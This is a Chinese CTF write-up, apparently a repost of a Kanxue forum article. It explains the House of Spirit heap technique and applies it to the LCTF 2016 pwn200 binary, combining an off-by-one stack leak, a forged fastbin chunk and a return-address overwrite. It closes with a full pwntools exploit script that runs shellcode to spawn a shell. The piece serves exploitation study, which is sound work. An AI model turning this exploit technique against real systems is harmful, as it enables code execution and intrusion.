Pwn堆利用学习——LCTF_2016_pwn200

  • A+
所属分类:逆向工程
Pwn堆利用学习——LCTF_2016_pwn200

本文为看雪论坛优秀文章

看雪论坛作者ID:直木



House of Spirit(hos)是一个组合型的漏洞利用,是变量覆盖和堆管理机制的组合利用。是构造一个 fake chunk,然后释放掉它,这样再次申请的时候就会申请它。具体来说,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。


利用场景




1. 想要控制的目标区域的前段空间与后段空间都是可控的内存区域。

一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们是无法通过输入数据来进行控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间。

Pwn堆利用学习——LCTF_2016_pwn200

2. 存在可将堆变量指针覆盖指向为可控区域,即上一步中的区域。


Free要绕过的检测




1. fake chunk的ISMMAP 位不能为 1,否则会调用munmap_chunk函数去释放堆块。

2. fake chunk的地址需要对齐, MALLOC_ALIGN_MASK

3. fake chunk的size 大小需要满足对应的 fastbin 的需求。

4. 2 * SIZE_SZ < next chunk size < av->system_mem 。

5. fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。


LCTF_2016-pwn200




步骤一:运行查看


Pwn堆利用学习——LCTF_2016_pwn200


LCTF就是XDCTF,由西电的L-Team主办。


步骤二:查看文件类型和保护机制


  • 64位程序
  • 除了RELRO,其他保护都关闭
$ file lctf_2016_pwn200  lctf_2016_pwn200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a7b9f542c0bf79112b5be3f0198d706cce1bcad, stripped $ checksec --file=lctf_2016_pwn200 RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH Symbols  FORTIFY Fortified Fortifiable FILE Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No Symbols   No 0  3  lctf_2016_pwn200


步骤三:IDA反编译分析


a. main函数


有两个函数,第一个函数就是设置程序的缓冲区,重命名为setvbufs,不再赘述。第二个函数就是程序的主体了。这里重命名为welcome。

Pwn堆利用学习——LCTF_2016_pwn200

b. welcome函数


1. 首先打印“who are you”,然后for循环以输入进行回答,接着打印输入。

2. 这里的for循环存在 off by one 漏洞,利用后面的pirntf能泄漏出welcome栈帧中存储的old rbp,也就是能泄漏出栈里的某个地址。

3. 再接着就是输入id和输入money以及菜单操作。

Pwn堆利用学习——LCTF_2016_pwn200


Pwn堆利用学习——LCTF_2016_pwn200


因为,这里能泄漏栈空间地址,所以解题和栈有关(学习的时候是上帝视角,知道这里用HOS,肯定是和栈有关的 - -)。那么根据分析,可得到此时栈空间布局如下:

Pwn堆利用学习——LCTF_2016_pwn200


c. input_number函数


将输入转为int型,然后返回。该函数有返回值,但是上面的welcome函数伪代码中却没有变量接收返回值。查看汇编,其实是有的,保存在[rbp-0x38],只不过这里是IDA反编译不准确:

Pwn堆利用学习——LCTF_2016_pwn200

Pwn堆利用学习——LCTF_2016_pwn200

到这的时候,栈空间布局如下:


Pwn堆利用学习——LCTF_2016_pwn200

d. input_money_and_menu函数


1. malloc了一个0x40大小的堆空间,并将返回地址赋值给指针dest。

2. 然后往0x38大小的栈缓存区buf输入“money”,最大大小为0x40,这里存在相邻变量覆盖,覆盖掉的是dest,即这里可以覆盖堆指针。这可以从buf == [rbp-40h] 和 *dest = [rbp-8h] 看出,也可以双击变量查看它们的栈结构,这里不再贴图。

3. 接着将buf内容(输入的“money”)拷贝到dest指向的堆块中。

4. 将dest赋值给全局指针ptr,即ptr也指向堆块,当然如果dest被覆盖了,ptr也就会随之改变。

5. 执行菜单操作。

Pwn堆利用学习——LCTF_2016_pwn200

此时,栈空间布局如下:

Pwn堆利用学习——LCTF_2016_pwn200
图中money_menu函数input_money_and_menu函数,缩写是为了图片的整齐。

e. menu_options函数


(1) 输入1 :checkin

(2) 输入2:checkout


Pwn堆利用学习——LCTF_2016_pwn200

f. checkin函数


根据ptr指针来判断用户是否登记:

1)如果登记,返回已登记字符串,退出函数。

2)如果没有登记,则输入一个数字nbytes,然后新分配一个nbytes大小的堆空间,然后往里输入“money”(nbytes长度)。


Pwn堆利用学习——LCTF_2016_pwn200

g. checkout函数


根据ptr指针判断,如果用户已经登记,则free(ptr),并将ptr置为0。

Pwn堆利用学习——LCTF_2016_pwn200

h. 小结


1. welcome 函数中首先回答“who are you”的for循环中存在off by one 漏洞,能泄漏出栈的地址。

2. input_money_and_menu函数中首先出现malloc操作,而且能通过输入money覆盖堆指针。

3. checkin函数:malloc一个指定大小的堆块,并往里输入。

4. checkout函数:free并置全局指针ptr为NULL。


能泄漏栈的地址,能覆盖堆指针,能再次free和malloc,满足HOS的利用条件。对应前面的利用场景,如下所示,那么可以在可控2区域输入shellcode,可控1区域开始伪造chunk,然后往chunk输入,覆盖input_money_and_menu函数的返回地址为shellcode的地址,那么menu菜单第3选项退出的时候,input_money_and_menu也会return。


Pwn堆利用学习——LCTF_2016_pwn200

下面进行调试分析,验证一些分析。


步骤四:调试分析


a. 模板

from pwn import  * from LibcSearcher import LibcSearcher from sys import argv
def ret2libc(leak, func, path=''): if path == '': libc = LibcSearcher(func, leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = ELF(path) base = leak - libc.sym[func] system = base + libc.sym['system'] binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(delim, str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(delim, str(data)) r = lambda num=4096 :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu64 = lambda data :u64(data.ljust(8,'')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG' binary = './lctf_2016_pwn200' context.binary = binary elf = ELF(binary,checksec=False) p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def dbg(): gdb.attach(p) pause()
#start # end p.interactive()


b. 分析程序的内存布局,并查看welcome函数中的off-by-one漏洞效果。


  • 对于money,如果输入0x38位,那么实际输入的会是0x39位,因为read函数也会将'/n'输入到内存中,结果是会覆盖掉dest最低的一个字节,导致不能查看堆信息。


  • 对于id,也是同样如此,输入4位。


payload = 'a'*48  ru('who are u?n') s(payload)
p.recvuntil(payload)
# leak main function rbp address rbp_addr = u64(p.recvn(6).ljust(8, 'x00')) print(hex(rbp_addr))
# input id sla('give me your id ~~?','111')
# input money sla('give me money~',0x37*'b')
# recvive menu ru('your choice : ')
dbg()


Pwn堆利用学习——LCTF_2016_pwn200


id = 0x6f = 111


因此,纠正并完善前面静态分析得出的内存结构:

Pwn堆利用学习——LCTF_2016_pwn200


c. 思路


1. 输入name的时候,将shellcode输入,并补齐0x30字节,以通过off-by-one漏洞泄漏rbp地址;

2. 输入money的时候,在money里伪造chunk,注意要绕过free函数的检查。并通过相邻变量覆盖漏洞覆盖dest指针,将其覆盖为fake chunk的user data地址,那么输入完之后,dest指针赋值给ptr,ptr也指向fake chunk的user data地址。

3. 调用checkout,将伪造chunk放入fastbin中,并置ptr指针为NULL;

4. 调用checkin,因为ptr==NULL,将重新malloc指定大小的chunk并输入数据,此时,便可以malloc可控1区域下方的不可控区域,覆盖input_number_and_menu函数的返回地址为shellcode地址;

5. 退出时 input_number_and_menu函数也会return,将跳转去执行shellcode。


d. 输入name和money

def checkin(num, money):         sla('your choice : ', '1')         sla('how long?n', str(num))         sa(str(num)+'n',money)
def checkout(): sla('your choice : ','2') def quit(): sla('choice : ','3')
shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
# input name(shellcode) payload = '' payload = payload + shellcode.ljust(0x30) ru('who are u?n') s(payload) ru(payload)
# leak main function rbp address rbp_addr = u64(p.recvn(6).ljust(8, 'x00')) leak("rbp address",rbp_addr)

# get shellcode_addr and fake_chunk_addr shellcode_addr = rbp_addr - 0x50 fake_chunk_addr = rbp_addr- 0x90
ru('give me your id ~~?n') sl('32') # next chunk size ru('give me money~n')
# input money(fake chunk) # padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8 payload = p64(0)*4 + p64(0) + p64(0x41) payload = payload.ljust(56,'x00') + p64(fake_chunk_addr) s(payload)


Pwn堆利用学习——LCTF_2016_pwn200


e. free

checkout()dbg()
Pwn堆利用学习——LCTF_2016_pwn200

f. 再次malloc并填充数据
 # malloc payload = 'a'*0x18 + p64(shellcode_addr) payload = payload.ljust(0x30,'x00') checkin(0x30,payload)
Pwn堆利用学习——LCTF_2016_pwn200

最后,程序退出时,input_money_and_menu函数就会返回,跳转执行shellcode


Pwn堆利用学习——LCTF_2016_pwn200


步骤五:构造Exp

from pwn import  * from LibcSearcher import LibcSearcher from sys import argv  def ret2libc(leak, func, path=''):  if path == '':   libc = LibcSearcher(func, leak)   base = leak - libc.dump(func)   system = base + libc.dump('system')   binsh = base + libc.dump('str_bin_sh')  else:   libc = ELF(path)   base = leak - libc.sym[func]   system = base + libc.sym['system']   binsh = base + libc.search('/bin/sh').next()   return (system, binsh)  s       = lambda data               :p.send(str(data)) sa      = lambda delim,data         :p.sendafter(delim, str(data)) sl      = lambda data               :p.sendline(str(data)) sla     = lambda delim,data         :p.sendlineafter(delim, str(data)) r       = lambda num=4096           :p.recv(num) ru      = lambda delims, drop=True  :p.recvuntil(delims, drop) ruf      = lambda delims, drop=False  :p.recvuntil(delims, drop) uu64    = lambda data               :u64(data.ljust(8,'x00')) leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))  context.log_level = 'DEBUG' binary = './lctf_2016_pwn200' context.binary = binary elf = ELF(binary,checksec=False) p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)  def dbg():  gdb.attach(p)  pause()  def checkin(num, money):  sla('your choice : ', '1')  sla('how long?n', str(num))  sa(str(num)+'n',money)  def checkout():  sla('your choice : ','2') def quit():         sla('choice : ','3')  shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')  # input name(shellcode) payload = '' payload = payload + shellcode.ljust(0x30) ru('who are u?n') s(payload) ru(payload)  # leak main function rbp address rbp_addr = u64(p.recvn(6).ljust(8, 'x00')) leak("rbp address",rbp_addr)   # get shellcode_addr and fake_chunk_addr shellcode_addr = rbp_addr - 0x50 fake_chunk_addr = rbp_addr- 0x90  ru('give me your id ~~?n') sl('32') # next chunk size ru('give me money~n')  # input money(fake chunk) # padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8 payload = p64(0)*4 + p64(0) + p64(0x41) payload = payload.ljust(56,'x00') + p64(fake_chunk_addr) s(payload) # dbg()  # free checkout() # dbg()  # malloc payload = 'a'*0x18 + p64(shellcode_addr) payload = payload.ljust(0x30,'x00') checkin(0x30,payload) #dbg()  # quit quit()  p.interactive()



参考文献




  • ctf-wiki
  • https://bbs.pediy.com/thread-225440.htm
  • https://www.anquanke.com/post/id/85357




Pwn堆利用学习——LCTF_2016_pwn200

- 结尾 -



Pwn堆利用学习——LCTF_2016_pwn200


看雪ID:直木

https://bbs.pediy.com/user-home-830671.htm

  *这里由看雪论坛 直木 原创,转载请注明来自看雪社区。







# 往期推荐






Pwn堆利用学习——LCTF_2016_pwn200
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



Pwn堆利用学习——LCTF_2016_pwn200

球分享

Pwn堆利用学习——LCTF_2016_pwn200

球点赞

Pwn堆利用学习——LCTF_2016_pwn200

球在看



Pwn堆利用学习——LCTF_2016_pwn200

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):Pwn堆利用学习——LCTF_2016_pwn200

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: